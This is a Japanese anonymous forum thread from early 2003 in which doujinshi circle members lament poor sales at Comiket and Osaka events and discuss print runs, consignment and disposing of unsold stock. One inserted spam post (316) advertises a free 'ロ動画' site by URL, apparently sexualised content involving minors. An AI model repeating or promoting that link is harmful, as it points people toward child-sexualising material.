ここで教わったおまじないで売上が少し伸びました。
手に取って見てくれる人も増えました。
嬉しかったのでスレの主旨と違ってるけど報告してみました。
インテ…何故か壁配置くらっていつもの売り上げ半分だった…。
1月のインテって一番期待できるハズなのに…・゚・(ノД`)・゚・ウチュ…
みんな期待しすぎだって。大阪人は本当に基本的にケチなんだから。
でも、欲しと思ったものには出し惜しみはしないよ。
そんな大阪人な私はサークル参加費の高さのせいで、申し込みができずに
本を売れない悲しさだった。
オリジナルでコミケ売り上げ一桁・・・50冊持ち込んだのに・・・
他の仲間はコピー本完売だの、うちではこない客層の人に売れていたり
するのに・・・涙でモニターが霞むよ・・・ママン・・・
うちは冬コミより大阪のほうが売れたよ・・・
単にコミケは今回が初参加だからかも知れないが、
何だか複雑。
(しかも売れたといっても五十歩百歩のレベル)
冬コミは見事に緩衝材になってしまい、散々ですた・゚・(ノД`)・゚・
初体験ですたがこんなに影響あるものだったのね…。
人は一杯近くにいるのに見ていって貰えないのはきついね…。
インテ、いつにもまして売れなかった。
シャッター近くて凍えるし、人来ないし、
このまま居ても風邪ひくだけ、と思い1時過ぎに撤収。
身も心も寒い1日でした。
夏も土曜参加で寒かったことも思い出し鬱…。
新刊冬に20冊。インテで10冊。
残り80冊をあぽーんして同人からさいならします。
在庫4種で370冊も。
楽しかったからいいんです・゚・(ノД`)・゚・
さっきまで在庫整理にひーこらしてたのでご報告。
在庫八種で600↑。コピ本加えると+100↑
書店に塩漬けが400冊くらいあるよアヒャ
>266
1時は早すぎ。大手回ってから来る人もいるだろうに…
うむ。特に今回みたいに使用館数が多いと、
回ってくるのに時間がかかるよ。ウチ2号館だったんだが
広場の一般の列が無くなるまで人が流れてこなかったみたい。
自分も開始直後は買い物の時間に当ててるし。
インテスレでも嘆いてこっちにもきますた。
インテのしょぼさときたら!
うちのジャンルなんか通りガラーンだしよー。
ハー。
こうもジャンルで明暗くっきりだとさすがに…
272251:03/01/06 23:41 ID:/zqY7TI1
>>254
び、びっくりした。当たりです(w キーワードは雪?
お互い寒かったんだね。身 も 財 布 も。
地方は地方なりにがんがろうね…。
273名無しさん@どーでもいいことだが。:03/01/07 01:05 ID:QvpQaVkS
5日のインテ、2号館でした。人通りがほとんどなくて、出たのは1冊(涙)
マイナーだとインテはいつも寒い思いしてます…。
6号館覗きにいくまで、人があんなに来てることも気付かなかった…。
今回のインテは最後の最後までマターリペースで
見に来る人が多かったYO・・・。ぱらぱらとまばらに・・・。

来月末からツアーが始まるのでせめてチケ代の一枚分も出ないかと
思った漏れがバカですた。もう抱えて4年になる本もあるというに。

あのう・・・在庫のあぼーんって皆どうしてるの・・・・?
古紙回収・・・・?
>>274
私はPP表紙を外して奥付部分をページごと取り、
残った本文をまとめて紙束とわかる状態で
新聞紙でくるんで古紙回収に出しますた。

さらば過ぎ去った日の過ち…A5/P52/50冊…あぼーん
正直めんどくさかった〜〜。
今回のインテで、初めて作ってこっそり置いた別ジャンルのコピ本。
一冊を、「(そのジャンルで運営してるサイトの)ファンです!」と言って買って貰えた。
一冊を、「友達から頼まれて〜」とタイトル名指しで買って貰えた。
直接反応貰う事なんてまず無い小手なので、どうしよう、次はオフとかいけるかな?
30部くらいなら作ってみても…とか夢見たけど、結局身内を抜いて売れたのは3冊。
それ以前に、手に取って貰えた人数自体が3人。
小説だからとか、別ジャンルだからとかの理由抜いても売れなさすぎだろ自分。
次から、そっちのジャンルに本腰入れるけど、またコピ本頑張るよ…

寒 さ が 身 に 染 み ま し た 。
本が売れない悲しさ。
インテ合わせで出したコピ本新刊、割と好評ですぐに完売。
とりあえず次のイベントで再版しようとしてたんですが…
原 稿 を 会 場 で 捨 て て し ま っ た ようでつ…

再版したくてもできない、2度と売ることが出来ない。
本が売れない悲しさ…。・゚・(ノД`)・゚・。
初めてのイベント参加がこないだのインテ。
自ジャンルのサークルはうちしかないようなマイナージャンル。
これまた初めて出したコピー本は
身内が一冊買ってくれたのみ。手にとってすらもらえませんでした…
で、でも初めてだから当たり前だよね。
売れないって事は売れたときの嬉しさは人一倍ってことだよね!

と、思いつつもやはり寂しかったです…
しかしインテってそんなに売れないものなの!?
結構似たような人いるんですね…
>278
気にすんな!私も初めて遠征でインテ行った時、
マイナージャンルでオンリーワンで売上も1桁(全種合わせて)だたーよ…
でも半分は観光だっと開き直ってめげずに半年後行った。
そうしたら売上何倍にもなったよ(゚∀゚)!
大阪は初見に厳しく、しかもご祝儀買いや験し買いがほとんどないです。
しかし反面リピーターに大変優しく、毎回来てる所には
財布が優しくなるという傾向があります。
京都の「一見さんお断り」ってこんなかんじなのかナーと
思う東京人。
1冊でも売れたら、その人やお友達が次も来てくれる可能性は高いですよ。
278さんがんがれー!

>277
自分用のはとってない?
或いは、連絡のつく知人さん友人さんに買ってもらっていたらばの話だけど、
事情を話して、本を手元に戻してもらってコピーを元に書き直すか、
それを版下にして増産してみてはどうか。
私も昔、2p程コピー機に置き忘れて紛失したけど、手元の見本誌バラして
それを原稿として使いました。
最近のコピー機綺麗だから、ほとんど劣化はしないです。
気力があれば、がんがって描き直せると良いのだとは思うけど…。
おおお…ありがとうありがとう279さん280さん…
コピ本一冊売れたときと同じくらい嬉しいっす・゚・(ノД`)・゚・
うん、めげずにがんがるよ!
他の売れなかったみんなも、そして277さんもがんがれー!
283282:03/01/07 14:14 ID:mbcj2A+i
あ、278です。

でも考えてみると私自身
買うときは280さんの言うような感じだ…
いつも来ているサークルさんだと結構覗きに行くし
初めて見たとこでも、そのイベントでは買わなくても
次のイベントで出てると…ってことある。
まず存在を知ってもらわなきゃな…
でもインテまでいって一回目こけたらもう出る気しなくなるだろうな…
とおもう関東在住ピコ。
何回もインテまで行く金があったら本が何冊出せるか…
285名無しさん@どーでもいいことだが。:03/01/07 22:20 ID:H6VB7AeA
少し先の話ですが、5月にインテ申し込もうか悩んでいるものです。
280さんと283さん…勝手に参考にさせていただきました。

ためになる!!
1/5委託で本を置かせてもらったんですが、頑張ってみようかな…。
>284
そうやって関東在住のお気に入りサークルさんが来なくなる・゚・(ノД`)・゚・
>>280
関西人は保守的だしな。
安牌しか狙わない。
コミケ来ても大手に並ぶだけだし。
288277:03/01/07 23:40 ID:pGSFaT0b
>>281
自分用のはない上に知人さんが1人買っていって下さったんですが
居住地が離れている上に、本自体が製本してから色々と加工してあるので版下にするのも難しいかと…。
萌えだけで描いた様な本だったので、同じ下書きがあったとしても書き直せる自信が…(´・ω・`)

辛気臭くてスミマセン、でもありがとうございました。

>>282
ありがd!インテはリピーターに期待でつよ。
あとサイトやってたりして知名度があると良いかも。
本を出すペースが遅いので、本を沢山刷ってしまう傾向にありまつ…。
で、5年前200刷った在庫がまだ50もあったりと結構凹むのですが。
しかも一時は超メジャーだったジャンルだったと言うのに。
マイナーカプのせいにするのは卑怯かも知れないので止めときます…。

次回から飛翔に行きますが、今度からはおとなしく100にしときます。
あああ、在庫捨てようかな…、原稿量産できない遅筆が憎いよぅ。・゚・(ノД`)・゚・。
ページ数が多くなって単価がどうしても高くなるので
+100部にして単価を下げてみた。
いつもより早い段階であと少し出ればモトが取れるぐらいにはなったが、
在庫のたんまり具合は相変わらず…ていうか多い。

赤字覚悟でいつもの部数で出して
早めに売り切れるようにした方がよかったかもしれないと思った。
イベントでの売れ行きが悪いのが泣ける。
コミケ1回の販売部数/総発行数=1/4
>290
>早めに売り切れるようにした方がよかったかもしれないと思った。
それは私も滅茶苦茶感じる……。
が、今更少ない部数でがんがろうとしても、
既に机の上がイパーイで回転が悪くなっている罠。
ただでさえ売れないのに、1/12の都市、
ジャンル内で有名な島スペなのに牛歩サークルの緩衝材にされた模様…
もう誰も来てくれなさそう。

張り切って本入稿したのにな…

関西はほんとに2回目から売れ方が変わって驚いた。
初参加時、あまり売れなかったな…とガックリしてたんだけど、
半年後の2度目は倍近くになった。手が震えた。
…がんがろうと思った(´Д⊂)

しかしうちも在庫を抱えていてとってもアヒャ-な状態です。
>関西人は保守的だしな。
>安牌しか狙わない。

えっ、そーなの!?
うち初めて参加した夏に既刊全種まとめ買いの人ばっかりで
東京では動きが鈍くなってた本があっという間になくなっちゃったよ!?
逆にその後序々に部数が減っているのでどーすればいいのか…。
知名度があったんでしょ。
自慢?
>296
チョト僻みっぽいぞ。
298294:03/01/08 16:42 ID:YUplzuCZ
>296
ポカーン
それまで関西行ったこともなかった私に一体どういう知名度が…?
周りの友人も初参加時が最高売上だったといっていたので
そんなもんかと私は思っていたくらいなのに。
アンソロとか箱で名前を既に売ってたんでしょ?といいたいのじゃないですか。
なんにせよ僻み風味だからスルー汁。
300294:03/01/08 17:39 ID:4hSgRDYx
商業雑誌にインフォメを載せるようになったのは
初インテで西日本にも思ったより読者がいることを知ってからなんだが…

>299
ごめんもうそうしまつ。
301名無しさん@どーでもいいことだが。:03/01/08 17:57 ID:7inBukX0
大阪は・・・個人的感想では、売れません。
マイナージャンルに厳しく、安さ第1というイメージ。

厚い本は問答無用で駄目。高いから。
薄くてもB5サイズ。フルカラー。
派手で安いと売れる。

流行りのジャンルで薄くて派手な本を大部数刷って安価でばらまける、
大手以外はどうにも不利が否めないような気がします。

あと、歯に衣着せぬ カコイイ!なお方が多い様なので、
「この本は要らないのですが、表紙は好きです。表紙だけ100円で売って下さい」
とか言われても動じない、鋼鉄の精神が必要。

・・・・私はもう行かないかな〜 
302名無しさん@どーでもいいことだが。:03/01/08 19:05 ID:Q0XDbIqC
>301 貴方が言われたのですか?      お気の毒様です…。 大阪かぁ。行ってみたいけど深夜バスのんのもなぁ。
>301
すげー。一度なら言われてみたいかも。
話のネタに(W

毎年コミケでは100前後はけるのだけど、
それ以外のイベントだと最悪売り上げ0。
なんでだろう…
とりあえず>295は
売れない悲しさ語れよ
>301
インテスレにもコピペしてあったけど…。
>301
私なら「100円まけてやるから本ごと買って下さい」と応戦するかな(w
頑張って作った本を表紙だけ破くなんてできねえYO!!
>303の後半3行
うちとまったくいっしょだー。
コミケ以外ではことごとくスルーされるよ。

扱ってる作品やカプが禿しくマイナーだとか、
コミケ以外のイベントで新刊を出すことが
少なかったりはしないかい。
>>307よ、コミケ以外に出るのを辞めるのが、黒字化への第一歩じゃ。
でもそうするとコミケのスペースが減らされちゃうんだよね…。
>>224ですが今更結果報告…
インテはサークル者はパンフ購入制ではないため
同じジャンルのブロックにスペースがないせいで
パンフを買わなかった知り合いのサークルさんには申込んでないと思われてますた…
しかも壁の向いのブロックは全然関係ないジャンルだったし
(本来のジャンルのブロックは島2本向こう。島1本分以上あるジャンルだったのに)
隣も全然違うジャンル(しかも男性向け)
これでポスター立ててなかったら全く気が付いてもらえなかったでしょう
例年の正月インテの半分の売り上げでした;

ほんとポスター作って逝って良かった…
>309
ああやっぱりそうなんだ。
単にミケ申し込み数の割合で決めてるのかとも思ってた。
それじゃあこのマイナージャンルで底冷えサークル参加してるのも
無駄じゃないっすね。
夏冬とオンリー以外じゃ一桁しか出ないけど、
このジャンル好きだから、ミケスペース枠が維持できればそれでいいっす。
312名無しさん@どーでもいいことだが。:03/01/09 11:21 ID:rGyYC/jb
>>307
そういうジャンルは雑誌を利用しる!
正直、広報は大事だと思う。
ネットやってるなら広報用にホームページは作るべきだし
それ以外にも使えるものは全部使おう。
>311
えっ、ごめんよくわからん、どういうこと?よければ解説きぼん
315301:03/01/09 15:16 ID:bDgTHOg9
感情論にレスありがとうございます。
>302 303
「表紙バラ売り」は私が直に言われたことです。しかも1日に2度・・… 
本は売れず、表紙は2回売れそうになりました。
ということで、本が売れない悲しさでした。
あと、無料のスケブも沢山頼まれました・・。
あまりの寒さに手が震え、がんばったものの絵柄が変わってしまったら、
そのなかのお1人に

「あなら本当に ご 本 人?」
って、聞かれました。

大阪なんてもう2度 (了
316:03/01/09 15:20 ID:8ysC19Tz
炉動画(無料)
http://ro-tengoku.issweet.net/          
317□□マジやばいよ□□:03/01/09 15:55 ID:DI1Bdjfa
>313
開設してもどうせろくに更新できやしねえと思って
ロムってばかりいる漏れはアフォだと?
>318
売りたいと思ってるなら更新ぐらいの手間を惜しむな、と。
本一冊作ったり、営業だけで売るのに比べれば
HPの更新なんて、屁のかっぱですよ。

CG描いて更新出来ればいいけど
それすらする暇ないならTEXTだけでも更新すれ。
特にイベント前後の更新は重要だ。
>314
シティやライブへのみんなの参加状況を見て
コミケが1ジャンルあたりのスペース規模を
決めている、といいたいらしいが実際んなこたぁない。
コミケへの申し込み数でしか決めてねーっすよ。
321303:03/01/09 23:57 ID:C6XBbzkC
>307
作品はマイナーでもないけどキャラがマイナー(W
新刊は頻繁に出してるんだけどね。
お互いがんがろう!
>320
だよねえ…
他社のイベントのスペース数見てジャンル規模を決めているなんて初耳(ワラ
まあまあ、何か勘違いしちゃったんだろうよ。
309と311は。
314でつ。>320さん解説thx!
なるほど、危うく鵜呑みにするとこでつた。
自分もどマイナージャンルなんで。
>320
だよなあ。
314が言う通りだとしたらうちのジャンルは他イベントでは常に一桁で
コミケでは二桁よ?
コミケは優遇して増やしてくれてる事になる罠。

そして冬コミではそのジャンルで四種三十部以上売れて大喜びしてた。
ちっちぇえ、ちっちぇえよ漏れ。いくら小説とはいえ。
いや、新刊が十部ぐらい出るのは普通だけど
既刊は一冊も売れないかと覚悟してたからさ。
新刊が30冊出て既刊は3冊だったよ
夏もそんなもんだったよ。
これは、ウチの固定読者が27人↑↓いるってことなのね、きっと
そこから部数が減らないけど伸びない…
>326
私もそんな感じです。新刊の出る数がいつも同じ。
でも既刊も常に似たような数が出るので、新規の客もいるはずなのに。
いっそ新刊の部数が減ったら同人やめる気にもなるのに。
30冊しか出ないって時点で充分辞める理由になりそうなものだが…。
コミケにはいろんな状況とジャンルがあるのよ、328タン。
釣られちゃだめぽ、329タン。
30冊出ればいいほうでしょ?
うちも大体そんな感じだよ?
普通のオンリーとかだって5冊出ればいいほうだよ。
コミケでは300部程売っている小手で、書店委託等もしてるものでつが、
今日厨房向けのイベントに初めて出てみたら、
1 冊 し か 売 れ ま せ ん で し た 。
自分が厨房向けのジャンルでないし、本ばかり作っているので覚悟はしてたんだけど




鬱だし脳。
>>332
普段300売れてるなら、気にするなYO

昨日シティ
本4部 便箋3部
左隣が0… 右隣が似たような感じ
売り子に入ってた飛翔系の友達が、
客の少なさに驚いていた(藁
昨日の有明。

お隣さんがさー売れる売れる…。
自分トコは3種18冊程度。つらかった…。
なにより自分のヘタレ加減がつらかったよ。
在庫、100部づつ処分しようと決めた。ごめんよ。もう限界。
コミケもやう゛ぁかったが、インテはいつもより多めにやう゛ぁかった。
同人やめるに当たって、ちょうどいい部数だけ残って(゚д゚)ウマーだったのに、
もう冗談じゃない位沢山残ってしまった。

通路に人がいないってのは初めて体験した。
同人最後でジャンルの落日をみてしまった感じだ……。
冬祭りに投入した新刊、インテと有明も回して今日自宅に戻ってきたが
半分以上も残ってる…半分……辛いよママン…。
売上入ったらスキーに行くつもりだったのにー。 …行けない
337名無しさん@どーでもいいことだが。:03/01/13 22:00 ID:f41J1dSU
何で売れないの?どんな本なの??
337は放置でヨロシク。
多分いつもの勘違いさんだから・・・
339名無しさん@どーでもいいことだが。:03/01/13 23:08 ID:YbDzm7ga
>>337
人気のないキャラクターを使った、ツマラナイ本だから。
人気のないキャラクターを使った、すっごく面白い本があったが
売れてないようだった。
本人が嘆いていたよ。
その人はジャンルもマイナーというのを抱えていたし、その上
ゲームだったからな…
売れないんだけど、それ以上に
人が通らない……(泣)。
一昨日の都市でもギリギリ島一つ分くらいはあったんだけど、前を通る人すらいない状況。
赤豚スレでは結構人がいたというし、やっぱり斜陽ジャンルなんだなと思って
悲しくなりました。
でもまだまだこのジャンルが好きだから本は出すけどな。
30册とか50册とかしか本を作っていないピッコピコですが、
最近ちょっとだけペースが上がったから
(自分にしては)勇気を出して60册刷ってみました。
去年の秋に出したのに、まだ1/4残ってます。
冬祭り新刊は、学習して50册に戻しました。
その本は残りあと5册程度なのですが………

いつか3ケタ刷れる日が来ますように。
シティだといつも一桁しか出ない…。
それでも地道に、普通の規模のシティも出た方が
いいのだろうか。それとも、もうシティには出ない方が?
……ものすご〜く悩み中。
>343
私も悩みつつ、結局「買い物に行くついで」とか何とか自分に言い訳しながら出てる(苦w

冬祭りの新刊200部+余部20で、あと150冊残ってる…
馬鹿だ…馬鹿だったよ…大人しく100部にしておけば…
お金もないのにいってしまいトーンだけ買って帰ってきました。

ごめんなさい
私はアキバさんの紙を買いに…こんなにコピー本作れるのか(゚∀゚)アヒャ
元気出せ。漏れなんか冬うっかり300刷ってまだ4部しか売れてないぞー。
新たな萌えのために久しぶりに同人復帰したのだけど、己の技量とか、
ジャンルの勢いとか、客の回り方とか色々と読み違えた結果・・・(苦笑)

次回から部数は激しく減らすことケテーイだけど、描きたいものがあるうちは
細々続けてみるつもり。マンガはオンラインでやるのも限界あるし・・・。
でもホントは売れてほしいわ。なによりも励みになるしなぁ。
読んでもらえる本を作れるようにがんばろーっと。
ちょっと変な質問ごめん。
このスレの一番最初って、
印刷所に乗せられて300刷ったけど
余りまくってしまった…
みたいな話が1になかったっけ?
それって別スレの勘違い?
>343
それはジャンル鮮度によるな。
自分は売れないが、周りは売れてる、人は本を見に来る、ようなら
マメに出たほうがいい。
自分も売れない、周りも売れない、人も見に来ないだったら…。
>>348
そんな話を読んだ気もするけど、ここだったかどうかは覚えがない。
ここの初代が立った時、似たテーマのスレが同時並行していたから、
そっちだったかも知れないし…
>冬祭りの新刊200部+余部20で、あと150冊残ってる…
冬祭りの新刊ならこれからマターリ売っていけば嘆くほどのことはないと思。
漏れが1年サイクルで売り切るマターリジャンルにいるからか?
>344
70冊も売れたんじゃん。うらやましい。
ジャンル移行したいんだけど、本が大量に残っている為に移動出来ないよママン
以前のジャンルの本を持って今のジャンルに来た時には「ダミー」扱いされたから
(あまりにも他ジャンルの本が有り過ぎて)
出来るだけ過去の本を整理したいのに、売れない
うう、いっそのこと焼き芋に・・・

焼芋の美味しい季節でつね( ´Д⊂ヽ
>>348
うーん私もどっかで見たな。過去ログ見てみたけど(いくつか行方不明)
1に初めてで300刷ってしまった人が居たけど、印刷所云々は書いてないな。
たしか初めてで皆どれ位刷ってるか印刷所に聞いたら「300」て帰ってきたんだっけ?

どこで見たんだろう。
>343
私は都市で「しか」売れない女です。
オンリーに出ても良くて一桁…
でも都市では別ジャンルで出てるのにもかかわらず二桁。
(いや、目糞鼻糞の違いではありますが)
つまり有難い事に作家買いをしてくれる人が
少しはいてくださるのだろうけれど
萌えジャンル本来の人には見向きもされてない、と。
ほのかに淋しい冬の夕暮れ……
ず〜〜〜〜っと以前の(もしかしたらあめかも)どこかのスレでは
ある大手の「友人」が、大手の制止も聞かずに2000部刷った話があったぞ。
もちろん同人は初めて。
そしてその大手以外の周囲の人間は全員揃って
( ´_ゝ`) フーン ま、やりたがってるなら好きにさせとけば〜?
と誰一人止めもせず、その人を生暖かく見守っていたという…
ステキにハートウォーム?なエピソードだったっけ。

実売は一桁だったような。
で、その在庫の行方は誰も知らないそうです。
>355
シティに必ず出る人はオンリーでは新刊が出てても後回しにする人は多いみたい
多分そのパターンでは?
うわっ!sが抜けてたスマソ
359山崎渉:03/01/15 23:29 ID:t9AgkL2v
(^^)
サークル初参加しますた。
一冊も売れなかった漏れはどうすれば……。

>>343
少しでも在庫減らしたいので
漏れは出るよ。
362名無しさん@どーでもいいことだが。:03/01/16 10:27 ID:NFbJLlzM
>360
もう1冊つくる!(コピで)
出きればB5 フルカラコピ表紙
机をもっと賑やかにしる!ガリガリ描いて精進しる!

たった1回の売上0でへこむな。
漏れなんて・・漏れなん・・
>361 343
私も出てます。
イベントに出なきゃ本は売れない!
(通販もやってるけど微々たるものだしね〜)
364名無しさん@どーでもいいことだが。:03/01/16 10:53 ID:rsa6Kubn
>356
それ、読んだ記憶がある。
確か、その2000刷った人は大手の友達で、その大手の売れっぷりを見て
感覚が麻痺していたんだよね……。売れたのは、本人が外出している最中に
友達2人がこっそり買った2部だけだったとか。恐ろしい話です。
>356
泣ける・・・。
立ち直れないよそんなの・・・。
・・・と、言うかいきなり2000なんて数字が出てくる方がどうかしている。

あるいは友人に大手が居たなら漏れも勘違い野郎になってしまうのだろうか??
>>360
ジャンルは?
>366
いや、それは人によるでしょう。
自分もある程度大手の友人がいるけど、自分で出すようになった時
最初は100だったよ。
それでも多いと思った。しかも売れなくて半分ぐらい捨てた記憶が。
356のはもしかしてその友人の本にゲストした事とかあったかもしれんな。
それなら勘違いも・・・・・わかるようなわからないような。
それ以前に2000の印刷代ってどのぐらいだ?よく出したよね。
いままで1冊も売れなかったイベントって自分は多分ないや(活動7年目)。
どんなちっせぇオンリーでも1冊か2冊は出てってるような…
でも売上1桁じゃあ晴れ晴れとはできんなぁ。ハァ…
>366
確かその話は、大手の友人が当たり前のように
2000刷ってるから感覚が狂って2000は普通(普通の人で言うところの100にあたる感覚)
とか思ったんじゃなかったっけ(違ったらスマソ)
このスレのみんなは、ほんとに本作るのが好きだったり、そのジャンルが
好きだったり、イベントに出るのが好きだったり・・て理由で同人やって
んだね。たとえたくさん売れることはなくても。
最近コミケをはじめだんだんと同人が商業チックになりつつある感じがしてて
このままじゃいつか同人は崩壊する時がくるんじゃないかと思っていたけど
ここにいるような人達がいるかぎり大丈夫なのかも。
>371
売れてる人だって商業主義に走らないで堅実にやってる人はいるし
このスレの中にも書店に卸したりしてる人はいますがなにか?

大丈夫なのかも、といわれたら
売れてはいけないといわれているような気がするでつよ。
このスレのみんなは本当は売れたいんだよ? へんな誤解はイヤン
>371
だいたい、このスレに来るひとは「悲しさ」を抱いてるんだし、
それを誉めてもお門違いでしょ。
過去スレ見れば解るけど、例えば3000部刷ってあと500部余ってる、
というような書き込みだってあるわけだ。
未来を嘆くんなら他人に依存しないで自分で考えて動いてください
>371
むしろ書店委託したり、普段結構売れてる人ほどこのスレに住みがちだと思ってたけど。
そういう人ほど売れないと在庫やら損失の度合いが凄かったりするだろうし。
売れてなくてもがんがってるという人は、ピコスレの方が断然多いのでは?
>売れてなくても云々
>>360
1回くらいで凹むなー。
反省するのは必要だ。
で、反省の内容にも色々あるわけだ。

自分が書きたいものと読み手が読みたいものの食い違いだったり
刷りすぎだったり、自分の表現不足だったり、売り方が悪かったり。

実力不足なら頑張れ。売り方も工夫しよう。
刷りすぎたなら次から調整だ。
最初の場合は…
自分が好きなものを広めるための同人って場があるわけだよね、としか…

とにかくあきらめないで次に生かす事が大切だと思うですよ。
皆ガンガロー、オー
オー
委託してもらおうと虎の穴に持っていった見本誌が、
今日委託見合わせの手紙と共に送り返されてきた・・・。
自分のへたれさが悪いのはわかってる。でも自分の作品を否定されたようで悔しい。
買い取りではなく、委託すらも断られるなんて、てめえにやるスペースはないってことか・・・
くそっ。
>>378 とらは健全・オリジナル系にはキツいから・・・
他にも委託先はいっぱいあるさ!! 奮起してくれ。

けど>378がエロ委託で蹴られたんだったら
悪いけど相当“ダメレベル”が高かったとしか(;´Д`)
こっちの場合は精進しまくって見返してやるのだ!!
380名無しさん@どーでもいいことだが。:03/01/16 23:32 ID:wbzwrL1c
部数とか見るのかな??
自分も断られそうだよ。


〜300部の人間なんですが、通販できないので書店にお願いできないかなって思ってるんですが。
>380
ジャンルによるが男性向けならメロソもメッセもいくらでもある。
数はたいしたことないし健全だけどジャンル効果でとってもらえる場合もあるよ〜
382名無しさん@どーでもいいことだが。:03/01/17 00:15 ID:csoMo3/b
要するに、エロでない同人誌は(商業的見地からは)クズってことですね。
2000は流石にないけど、先に同人やってた友人に「最初はとりあえず100がいいよ」と
アドバイスされたにもかかわらず150刷って結局猛省したホロ苦い記憶が……。
回線から見ると100くらいすぐ売れそうな気がしちゃったんだ……
384名無しさん@どーでもいいことだが。:03/01/17 01:13 ID:kjy2A9Bg
>380
自分的には虎が一番甘いような気がする…
メッセには断られ、メロソには健全本だけ断られた。
虎は健全(801ナシ)もエロも両方とってもらえてる
ま、両方ともマイナージャンルだから100部がいいトコだがナーw
385名無しさん@どーでもいいことだが。:03/01/17 01:32 ID:+gylEpbT
           ,...,_
          /""`'・.,
         ,/'   ..::::\.,__,,,.....,,,__
        ,i'    ...::::::::"""    `''・-、.,_   _,,......,,,_
         i'  ...::::"           ":::`・'"~   :|
        /"                 " ::::  ...::,l
       ./'                     "::::::/ >>382
      .i'                       ::"i, これ、恵んであげるから、もう帰りなさい
       i'         ●             .::::::|
       .i'                       .:::::::|
      i;             i、.,    ,.    ●...::::::::|
       '、            |  `"~'/      ::::::::ノ
        \           l,    /     .:::::::/
         `/(          i.,_,/     ...:::::ノ'
      ,.-'"~ ~"ー-.,,__          .....:::::::ノ').,
     ./=ー'"~"`ー-.,_~"\-.,_  ,...,_ "";.-、::/ノ::: 'i,
    / ̄    :::::〜`i.():::\`""| `(^);;;;;|;;/;:::::::: 'i,
  . /         ::::::`i |:::::):;;;;;i、,/人_ノ;;;;'i,::::::::::: i
   |      @   .:::::::|/::::└ー-,;;;\;i;;;;|/;:::::::::::: i
   i.,_,.人       ..::::::/ :::::::::::::/;;;;;;;'i,'i;;;;|\;:::::::::::: i
      `;      .::...:::::/  :::::::::::`- .,_;;;;i,ノ;|;;;/;:::::::::::: /
      `、.,..:::::::::::::::::/   :::::::::::::::;;;;;;\,i ,/;;;;;:::::::::::|/
        `i"`-.,_,.ノ   ::::::::::::::::;;;;;;;;;;;\|;;;;::::::::::::|
        |       :::::::::::::::::::;;;;;;;();;||;;;::::::::: .ノ
386名無しさん@どーでもいいことだが。:03/01/17 01:58 ID:KIedZJdW
はぁー
大手の落書きみたいな本なんか見たくないんだよ!
おまいらの魂の入った本を見せてけれ!
387名無しさん@どーでもいいことだが。:03/01/17 03:13 ID:0j8l8yMY
実際問題、大手の方が上手くて熱心だけどな。
在庫を処分するのって皆さんはどのような方法を?
確か誰かに聞いた話では、1箱1500円くらいで
処分してくれるところがあるそうだが…。
まんだら○に、売る用の本と売れない在庫を
処分してもらうのもアリ…?
(それじゃあ自分の本だってわかって恥ずかしいな…トホホ)
今、流行ジャンルなのに冬コミで200刷って50しかでない自分。
去年の夏前に作った本が300刷ってあと100残ってる。ハァ…。
あ、処分するのは前ジャンルの本なんですけどね。
…段ボール2箱…もう場所がない…;;
西翼(要英訳)のことかな。検索すればHPすぐ出てくるよ。
漏れも近々使う予定(w
イベントにも持っていけない在庫に埋もれて鬱になるより
処分して心機一転新しい本作る方がいいと思いまつ。
>388
ttp://www.tpot.jp/~stock/
こことかは?
処分とはチト違うみたいだけど。
(実はいずれ使おうと思ってチェックしてる(w)

でも流行ジャンルなら、も少し頑張れると思うけどね。
がんがれ。夏はまた来る。
まだスペース参加したことないのに、
ここばかり見てしまう…鬱だ
392名無しさん@どーでもいいことだが。:03/01/17 08:55 ID:YTDcXXlN
本があまったときよくある通販本にだすけど
そういうのは?ちょっとだましてるかんじがして
しのびないけど・・。
                   ■弘前強盗放火殺人事件■
   ミミミミ||||||||||||||||||||||イイ〃   犯 人 逮 捕 に ご 協 力 を
   ミ     """""    彡       お 願 い し ま す
   ミ〉 :::: :;;;;;; :::::: :::;;;;;;:: 〈ミ   特徴 年齢40〜50歳ぐらい、
   Y             Y   身長160〜170cmぐらい、中肉、
    | ~"""''''、 ,''''"""~ ::|.   白髪まじり、前髪が立っている
  r'^|シィてユゝ i i ィてエゝミ:|'^.i  目がぱっちりしている、額が広い
  ゝ{|    .ノ | | ヽ、  :|} ノ  津軽弁のなまり、あごがとがって
  .し|:::  ´ ノ :ヽ    :|ノ   いる、頬に縦じわがある
    | 、 ./〈r、...r.〉\ , .|
     | ヽ ,__..,;,,;,,.__、/ /    この男に関する情報をお寄せください
    ,ト、 ´ ̄~~ ̄` /;;|.    青森県弘前警察署特捜本部
     . `\、,.__,./´      0 1 2 0 − 3 0 7 X X X
 
390に書いてある企画、感心はするが、参加できるだろうかと自問してみると、
やはりちと恥ずかしいyo……
395名無しさん@どーでもいいことだが。:03/01/17 23:58 ID:J7fUgaFp
>>391
戦う前から負けている奴発見!
390のリンク先って前にここで専用スレ立てた人?たしか100冊
集めるとかなんとかやってたやつ。別人だったらゴメソ。スレは倉庫か?
100冊単位じゃないし前はわからなかった参加料も設定されてる。
私も正直参加するのは恥ずかしいけど同人界であれに参加する事が恥ずか
しい事という概念が消えたらこの先在庫に悩まなくていいね。
いつまでやる気か知らないけどナー(w
ちぴっと愚痴ですが
入稿が遅かった都合で予定より多い部数で刷る羽目になって・・・

旬が過ぎた今。
しっかり多めに刷った部数分だけ余ってます。泣笑い。
自業自得なんだが・・・妙に笑えました。(読みは合ってたんだよなー)

ちなみにどーしても余った在庫はちょっとずつ燃えるゴミに出してます。
混ぜ物して。うう、マミ−を許して・・・。
すごくどうでも良いけど
>393の犯人ってもう捕まってるよね
399名無しさん@どーでもいいことだが。:03/01/18 11:46 ID:zgBnSLJV
手抜きで安くて汚い印刷の本5000部完売
がんがって描いて高くて綺麗な印刷の本3000部中2000部しか売れず1000部廃棄

どちらも同じジャンルでつ。


ウワァァァァン・゚・(ノД`)・゚・!!!!!
1000部廃棄は辛いでね。
私もどうしても売れなくて800部廃棄した時、
捨てても捨ててもまだありやがんのと、
途方に暮れましたっけ。
私の同人活動を、ヤメレとまでは言わないまでも、
冷たい目で見ている家族の手前、
おおっぴらに大量数捨てるのは体裁が悪く、
毎日こっそり数部づつ捨ててました。(´д`*)
我が家には恐るべき魔物が8箱も棲んでおる。オソロシヤーオソロシヤー

さすがに1000部もないだろうけど、
大量に残った時はもう悔しいとかそういう感情も残らないなぁ……。
ただポカーン。
さっきパパが庭でたき火してたので、思いきって去年出した落丁本を焼いてもらったよ。
売ってあげられなくてごめんな、特種紙フルカラーの本たちよ。

でも「この箱のまま焼いて」と頼んだら「バラさなきゃ燃えないだろう」と言われた。
